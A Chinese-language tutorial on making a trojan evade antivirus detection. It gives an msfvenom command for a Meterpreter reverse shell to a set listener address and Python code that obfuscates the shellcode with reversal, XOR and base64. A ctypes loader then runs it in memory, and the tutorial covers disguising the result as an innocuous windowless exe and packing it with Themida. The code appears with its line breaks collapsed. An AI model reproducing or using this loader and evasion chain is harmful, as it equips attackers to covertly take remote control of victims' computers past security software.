木马免杀
0x00 免杀
木马免杀的方法有很多种,如反转、异或、远程加载、加壳等,这里举例反转加异或
0x01 利用msfvenom制作木马
sfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.12.135 LPORT=5555 -f py > 2.py# -p 指定payload# LHOST 指定接收IP# LPORT指定接收端口# -f 输出文件格式# –o 文件输出
0x02 将木马文件内容进行加工
####################################################### 1、对木马进行处理(buf变量是生成python木马的内容)import binasciiresults = binascii.b2a_hex(buf)new = results.decode()[::-1]print(new) ####################################################### 2、将生成的new字符串进行异或运算import base64import binasciidef xor(tips, key):lkey = len(key)secret = []num = 0for each in tips:if num >= lkey:num = num % lkeysecret.append(chr(ord(each) ^ ord(key[num])))num += 1return secret# 异或加密new = ""# new是第一步生成的new值encd = xor(new, 'ad')resp = base64.b64encode("".join(encd).encode()).decode()print(resp)####################################################### 3、加载器import base64import binasciidef xor(tips, key):lkey = len(key)secret = []num = 0for each in tips:if num >= lkey:num = num % lkeysecret.append(chr(ord(each) ^ ord(key[num])))num += 1return secretcode = ""# code是第二步生成的resp的值tips = base64.b64decode(code.encode()).decode()decd = xor(tips, 'ad')resp = "".join(decd)new = resp.encode()[::-1]results = binascii.a2b_hex(new)print(results)# # 加载器import ctypesshellcode = resultsshellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
0x03 将加载器文件打包成人畜无害的exe文件
pyinstaller -F -w 03_Loader.py# -F 只在dist中产生一个exe文件。# -w 只对windows有效,不使用控制台。# -i 设置好看的ico格式的图标,加上该参数,指定图标路径。# -p 设置导入路径
0x04 加壳
利用Themida给exe文件进行加壳——加壳工具有很多,可自行决定
0x05 将打包的文件用安全软件进行检测
实际免杀效果需要自己测试,和写的加密方式有关
注意,查杀有两种:
一、特征码检测
二、行为检测
在通过免杀的基础上还要保证能正常运行
0x06 免杀方法汇总
远程加载进程注入傀儡进程未导出API掩日等等